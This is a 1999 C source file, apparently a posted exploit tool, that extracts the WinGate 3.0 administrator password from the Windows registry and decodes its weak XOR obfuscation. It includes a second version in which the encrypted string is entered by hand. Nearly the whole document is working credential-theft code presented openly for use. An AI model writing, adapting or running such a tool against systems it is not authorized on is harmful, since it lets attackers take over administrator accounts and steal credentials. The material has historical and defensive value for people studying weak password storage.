wgdecode extracts WinGate administrator passwords from Windows 9x/NT machine registries and decodes them.
908bb0f468a55441c09dc6cea4fc99ddcb9917e24f388a006adfafae37b75bcd
/*************************************************************************
Subject: Decode Administrator password in Wingate Version 3.0.0.1
Coded By: Ralph
Email: mustang@digivill.net
Date: 3/10/99
This was tested under Windows 98.
Compiled using VC++ 6.0
I am sorry if something like this has already been posted, I checked
but did not find anything.
Seeing how lame the encryption used for the Wingate password is, this
program will probably work on previous versions too, you just may need
to edit the registry paths in the program.
I also included a simpler version if you want to manually go into
the registry and get the encrypted string. This one will compile on
any platform.
**************************************************************************/
#include <stdio.h>
#include <windows.h>
#include <conio.h>
void main(void)
{
char *path[6] = { "SOFTWARE",
"Qbik Software",
"WinGate",
"UserDatabase",
"Administrator",
"\0" };
int num;
HKEY keyName;
DWORD passLength;
unsigned char adminPassword[32];
unsigned char x0r=0x2;
unsigned int i;
passLength = 32;
keyName = HKEY_LOCAL_MACHINE;
num = 0;
while ( path[num] != 0x00 )
{
RegOpenKeyEx(keyName, path[num], 0, KEY_READ, &keyName);
num++;
}
if ( RegQueryValueEx( keyName, "Password", NULL, NULL, adminPassword, &passLength) !=
ERROR_SUCCESS )
{
printf("Error getting password from registry\n" );
return;
}
printf("Password = ");
for(i=0;i<strlen(adminPassword);i++)
{
printf("%c",adminPassword[i]^x0r);
x0r+=2;
}
printf("\n");
RegCloseKey(keyName);
while(!kbhit());
}
/* Here is a version if you want to manually enter the encypted string. */
/*
#include <stdio.h>
#include <string.h>
void main()
{
unsigned char x0r=0x2;
char buff[32];
unsigned int i;
printf("Enter String to Decrypt: ");
scanf("%s",&buff);
for(i=0;i<strlen(buff);i++) {
printf("%c",buff[i]^x0r);
x0r+=2;
}
printf("\n");
}
*/